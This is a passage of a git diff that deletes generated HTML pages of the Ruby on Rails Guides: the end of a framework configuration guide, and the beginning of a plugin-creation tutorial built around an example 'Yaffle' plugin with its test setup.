-<div class="paragraph"><p><tt>perform_deliveries</tt> specifies whether mail will actually be delivered. By default this is <tt>true</tt>; it can be convenient to set it to <tt>false</tt> for testing.</p></div>
-<div class="paragraph"><p><tt>default_charset</tt> tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to <tt>utf-8</tt>.</p></div>
-<div class="paragraph"><p><tt>default_content_type</tt> specifies the default content type used for the main part of the message. It defaults to "text/plain"</p></div>
-<div class="paragraph"><p><tt>default_mime_version</tt> is the default MIME version for the message. It defaults to <tt>1.0</tt>.</p></div>
-<div class="paragraph"><p><tt>default_implicit_parts_order</tt> - When a message is built implicitly (i.e. multiple parts are assembled from templates
-which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
-<tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
-and appear last in the mime encoded message.</p></div>
-<h3 id="_configuring_active_resource">3.5. Configuring Active Resource</h3>
-<div class="paragraph"><p>There is a single configuration setting available on <tt>ActiveResource::Base</tt>:</p></div>
-<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.</p></div>
-<h3 id="_configuring_active_support">3.6. Configuring Active Support</h3>
-<div class="paragraph"><p>There are a few configuration options available in Active Support:</p></div>
-<div class="paragraph"><p><tt>ActiveSupport::BufferedLogger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
-<div class="paragraph"><p><tt>ActiveSupport::Cache::Store.logger</tt> specifies the logger to use within cache store operations.</p></div>
-<div class="paragraph"><p><tt>ActiveSupport::Logger.silencer</tt> is set to <tt>false</tt> to disable the ability to silence logging in a block. The default is <tt>true</tt>.</p></div>
-<h3 id="_configuring_active_model">3.7. Configuring Active Model</h3>
-<div class="paragraph"><p>Active Model currently has a single configuration setting:</p></div>
-<div class="paragraph"><p><tt>ActiveModel::Errors.default_error_messages</tt> is an array containing all of the validation error messages.</p></div>
-</div>
-<h2 id="_using_initializers">4. Using Initializers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under <tt>/config/initializers</tt> in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the <tt>initializers</tt> folder on down.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you have any ordering dependency in your initializers, you can control the load order by naming. For example, <tt>01_critical.rb</tt> will be loaded before <tt>02_normal.rb</tt>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_using_an_after_initializer">5. Using an After-Initializer</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>After-initializers are run (as you might guess) after any initializers are loaded. You can supply an <tt>after_initialize</tt> block (or an array of such blocks) by setting up <tt>config.after_initialize</tt> in any of the Rails configuration files:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>after_initialize <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- SomeClass<span style="color: #990000">.</span>init
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Some parts of your application, notably observers and routing, are not yet set up at the point where the <tt>after_initialize</tt> block is called.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_rails_environment_settings">6. Rails Environment Settings</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:</p></div>
-<div class="paragraph"><p><tt>ENV[<em>RAILS_ENV</em>]</tt> defines the Rails environment (production, development, test, and so on) that Rails will run under.</p></div>
-<div class="paragraph"><p><tt>ENV[<em>RAILS_RELATIVE_URL_ROOT</em>]</tt> is used by the routing code to recognize URLs when you deploy your application to a subdirectory.</p></div>
-<div class="paragraph"><p><tt>ENV["RAILS_ASSET_ID"]</tt> will override the default cache-busting timestamps that Rails generates for downloadable assets.</p></div>
-<div class="paragraph"><p><tt>ENV["RAILS_CACHE_ID"]</tt> and <tt>ENV["RAILS_APP_VERSION"]</tt> are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.</p></div>
-<div class="paragraph"><p><tt>ENV[<em>RAILS_GEM_VERSION</em>]</tt> defines the version of the Rails gems to use, if <tt>RAILS_GEM_VERSION</tt> is not defined in your <tt>environment.rb</tt> file.</p></div>
-</div>
-<h2 id="_changelog">7. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-January 3, 2009: First reasonably complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-November 5, 2008: Rough outline by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/creating_plugins.html b/railties/doc/guides/html/creating_plugins.html
deleted file mode 100644
index 3347f77228..0000000000
--- a/railties/doc/guides/html/creating_plugins.html
+++ /dev/null
@@ -1,1696 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>The Basics of Creating Rails Plugins</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_setup">Setup</a>
- <ul>
-
- <li><a href="#_create_the_basic_app">Create the basic app</a></li>
-
- <li><a href="#_generate_the_plugin_skeleton">Generate the plugin skeleton</a></li>
-
- <li><a href="#_organize_your_files">Organize your files</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_tests">Tests</a>
- <ul>
-
- <li><a href="#_test_setup">Test Setup</a></li>
-
- <li><a href="#_run_the_plugin_tests">Run the plugin tests</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_extending_core_classes">Extending core classes</a>
- <ul>
-
- <li><a href="#_working_with_init_rb">Working with init.rb</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_add_an_em_acts_as_em_method_to_active_record">Add an <em>acts_as</em> method to Active Record</a>
- <ul>
-
- <li><a href="#_add_a_class_method">Add a class method</a></li>
-
- <li><a href="#_add_an_instance_method">Add an instance method</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_models">Models</a>
- </li>
- <li>
- <a href="#_controllers">Controllers</a>
- </li>
- <li>
- <a href="#_helpers">Helpers</a>
- </li>
- <li>
- <a href="#_routes">Routes</a>
- </li>
- <li>
- <a href="#_generators">Generators</a>
- <ul>
-
- <li><a href="#_testing_generators">Testing generators</a></li>
-
- <li><a href="#_the_usage_file">The USAGE file</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_generator_commands">Generator Commands</a>
- </li>
- <li>
- <a href="#_migrations">Migrations</a>
- <ul>
-
- <li><a href="#_create_a_custom_rake_task">Create a custom rake task</a></li>
-
- <li><a href="#_call_migrations_directly">Call migrations directly</a></li>
-
- <li><a href="#_generate_migrations">Generate migrations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_rake_tasks">Rake tasks</a>
- </li>
- <li>
- <a href="#_plugingems">PluginGems</a>
- </li>
- <li>
- <a href="#_rdoc_documentation">RDoc Documentation</a>
- </li>
- <li>
- <a href="#_appendix">Appendix</a>
- <ul>
-
- <li><a href="#_references">References</a></li>
-
- <li><a href="#_contents_of_em_lib_yaffle_rb_em">Contents of <em>lib/yaffle.rb</em></a></li>
-
- <li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li>
-
- </ul>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>The Basics of Creating Rails Plugins</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-a way for developers to share bleeding-edge ideas without hurting the stable code base
-</p>
-</li>
-<li>
-<p>
-a segmented architecture so that units of code can be fixed or updated on their own release schedule
-</p>
-</li>
-<li>
-<p>
-an outlet for the core developers so that they don’t have to include every cool new feature under the sun
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>After reading this guide you should be familiar with:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Creating a plugin from scratch
-</p>
-</li>
-<li>
-<p>
-Writing and running tests for the plugin
-</p>
-</li>
-<li>
-<p>
-Storing models, views, controllers, helpers and even other plugins in your plugins
-</p>
-</li>
-<li>
-<p>
-Writing generators
-</p>
-</li>
-<li>
-<p>
-Writing custom Rake tasks in your plugin
-</p>
-</li>
-<li>
-<p>
-Generating RDoc documentation for your plugin
-</p>
-</li>
-<li>
-<p>
-Avoiding common pitfalls with <em>init.rb</em>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This guide describes how to build a test-driven plugin that will:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Extend core ruby classes like Hash and String
-</p>
-</li>
-<li>
-<p>
-Add methods to ActiveRecord::Base in the tradition of the <em>acts_as</em> plugins
-</p>
-</li>
-<li>
-<p>
-Add a view helper that can be used in erb templates
-</p>
-</li>
-<li>
-<p>
-Add a new generator that will generate a migration
-</p>
-</li>
-<li>
-<p>
-Add a custom generator command
-</p>
-</li>
-<li>
-<p>
-A custom route method that can be used in routes.rb
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.</p></div>
-</div>
-</div>
-<h2 id="_setup">1. Setup</h2>
-<div class="sectionbody">
-<h3 id="_create_the_basic_app">1.1. Create the basic app</h3>
-<div class="paragraph"><p>The examples in this guide require that you have a working rails application. To create a simple rails app execute:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>gem install rails
-rails yaffle_guide
-cd yaffle_guide
-script/generate scaffold bird name:string
-rake db:migrate
-script/server</tt></pre>
-</div></div>
-<div class="paragraph"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>. Make sure you have a functioning rails app before continuing.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor&#8217;s note:</div>The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
-</tr></table>
-</div>
-<h3 id="_generate_the_plugin_skeleton">1.2. Generate the plugin skeleton</h3>
-<div class="paragraph"><p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
-<div class="paragraph"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
-<div class="paragraph"><p>Examples:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate plugin yaffle
-./script/generate plugin yaffle --with-generator</tt></pre>
-</div></div>
-<div class="paragraph"><p>To get more detailed help on the plugin generator, type <tt>./script/generate plugin</tt>.</p></div>
-<div class="paragraph"><p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate plugin yaffle --with-generator</tt></pre>
-</div></div>
-<div class="paragraph"><p>You should see the following output:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>create vendor/plugins/yaffle/lib
-create vendor/plugins/yaffle/tasks
-create vendor/plugins/yaffle/test
-create vendor/plugins/yaffle/README
-create vendor/plugins/yaffle/MIT-LICENSE
-create vendor/plugins/yaffle/Rakefile
-create vendor/plugins/yaffle/init.rb
-create vendor/plugins/yaffle/install.rb
-create vendor/plugins/yaffle/uninstall.rb
-create vendor/plugins/yaffle/lib/yaffle.rb
-create vendor/plugins/yaffle/tasks/yaffle_tasks.rake
-create vendor/plugins/yaffle/test/core_ext_test.rb
-create vendor/plugins/yaffle/generators
-create vendor/plugins/yaffle/generators/yaffle
-create vendor/plugins/yaffle/generators/yaffle/templates
-create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
-create vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
-</div></div>
-<h3 id="_organize_your_files">1.3. Organize your files</h3>
-<div class="paragraph"><p>To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>|-- lib
-| |-- yaffle
-| `-- yaffle.rb
-`-- rails
- |
- `-- init.rb</tt></pre>
-</div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle'</span></tt></pre></div></div>
-<div class="paragraph"><p>Now you can add any <em>require</em> statements to <em>lib/yaffle.rb</em> and keep <em>init.rb</em> clean.</p></div>
-</div>
-<h2 id="_tests">2. Tests</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you&#8217;ll need to add 3 files:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-A <em>database.yml</em> file with all of your connection strings
-</p>
-</li>
-<li>
-<p>
-A <em>schema.rb</em> file with your table definitions
-</p>
-</li>
-<li>
-<p>
-A test helper method that sets up the database
-</p>
-</li>
-</ul></div>
-<h3 id="_test_setup">2.1. Test Setup</h3>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>sqlite:
- :adapter: sqlite
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db
-
-sqlite3:
- :adapter: sqlite3
- :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db
-
-postgresql:
- :adapter: postgresql
- :username: postgres
- :password: postgres
- :database: yaffle_plugin_test
- :min_messages: ERROR
-
-mysql:
- :adapter: mysql
- :host: localhost
- :username: root
- :password: password
- :database: yaffle_plugin_test</tt></pre>
-</div></div>
-<div class="paragraph"><p>For this guide you&#8217;ll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- create_table <span style="color: #990000">:</span>hickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_squawk
- t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_squawked_at
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- create_table <span style="color: #990000">:</span>wickwalls<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>last_tweet
- t<span style="color: #990000">.</span>datetime <span style="color: #990000">:</span>last_tweeted_at
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ENV'</span><span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'test'</span>
-ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">]</span> <span style="color: #990000">||=</span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../../../..'</span>
-
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">],</span> <span style="color: #FF0000">'config/environment.rb'</span><span style="color: #990000">))</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> load_schema
- config <span style="color: #990000">=</span> YAML<span style="color: #990000">::</span><span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>IO<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/database.yml'</span><span style="color: #990000">))</span>
- ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/debug.log"</span><span style="color: #990000">)</span>
-
- db_adapter <span style="color: #990000">=</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'DB'</span><span style="color: #990000">]</span>
-
- <span style="font-style: italic"><span style="color: #9A1900"># no db passed, try one of these fine config-free DBs before bombing.</span></span>
- db_adapter <span style="color: #990000">||=</span>
- <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
- <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rubygems'</span>
- <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite'</span>
- <span style="color: #FF0000">'sqlite'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
- <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
- <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite3'</span>
- <span style="color: #FF0000">'sqlite3'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> db_adapter<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #FF0000">"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>establish_connection<span style="color: #990000">(</span>config<span style="color: #990000">[</span>db_adapter<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/schema.rb"</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../rails/init.rb'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now whenever you write a test that requires the database, you can call <em>load_schema</em>.</p></div>
-<h3 id="_run_the_plugin_tests">2.2. Run the plugin tests</h3>
-<div class="paragraph"><p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in <em>vendor/plugins/yaffle/test/yaffle_test.rb</em> with a sample test. Replace the contents of that file with:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/yaffle_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- load_schema
-
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_schema_has_loaded_correctly
- assert_equal <span style="color: #990000">[],</span> Hickwall<span style="color: #990000">.</span>all
- assert_equal <span style="color: #990000">[],</span> Wickwall<span style="color: #990000">.</span>all
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To run this, go to the plugin directory and run <tt>rake</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>cd vendor/plugins/yaffle
-rake</tt></pre>
-</div></div>
-<div class="paragraph"><p>You should see output like:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
--- create_table(:hickwalls, {:force=&gt;true})
- -&gt; 0.0220s
--- create_table(:wickwalls, {:force=&gt;true})
- -&gt; 0.0077s
--- initialize_schema_migrations_table()
- -&gt; 0.0007s
--- assume_migrated_upto_version(0)
- -&gt; 0.0007s
-Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader
-Started
-.
-Finished in 0.002236 seconds.
-
-1 test, 1 assertion, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake DB=sqlite
-rake DB=sqlite3
-rake DB=mysql
-rake DB=postgresql</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now you are ready to test-drive your plugin!</p></div>
-</div>
-<h2 id="_extending_core_classes">3. Extending core classes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This section will explain how to add a method to String that will be available anywhere in your rails app.</p></div>
-<div class="paragraph"><p>In this example you will add a method to String named <tt>to_squawk</tt>. To begin, create a new test file with a few assertions:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/core_ext_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_to_squawk_prepends_the_word_squawk
- assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Hello World"</span><span style="color: #990000">.</span>to_squawk
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>cd vendor/plugins/yaffle
-rake test</tt></pre>
-</div></div>
-<div class="paragraph"><p>The test above should fail with the message:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt> 1) Error:
-test_to_squawk_prepends_the_word_squawk(CoreExtTest):
-NoMethodError: undefined method `to_squawk' for "Hello World":String
- ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'</tt></pre>
-</div></div>
-<div class="paragraph"><p>Great - now you are ready to start development.</p></div>
-<div class="paragraph"><p>Then in <em>lib/yaffle.rb</em> require <em>lib/core_ext.rb</em>:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span></tt></pre></div></div>
-<div class="paragraph"><p>Finally, create the <em>core_ext.rb</em> file and add the <em>to_squawk</em> method:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/core_ext.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
